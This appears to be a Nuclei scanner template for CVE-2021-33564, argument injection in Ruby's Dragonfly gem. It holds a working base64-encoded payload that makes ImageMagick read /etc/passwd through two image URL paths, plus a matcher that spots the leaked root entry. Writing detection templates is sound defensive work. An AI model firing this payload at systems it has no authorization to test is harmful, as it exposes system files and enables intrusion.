id: CVE-2021-33564 info: name: Argument Injection in Ruby Dragonfly author: 0xsapra severity: critical reference: https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/ tags: cve,cve2021,rce,ruby requests: - method: GET path: - "{{BaseURL}}/system/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ==" - "{{BaseURL}}/system/refinery/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ==" matchers-condition: and matchers: - type: status status: - 200 - type: regex regex: - "root:[x*]:0:0:"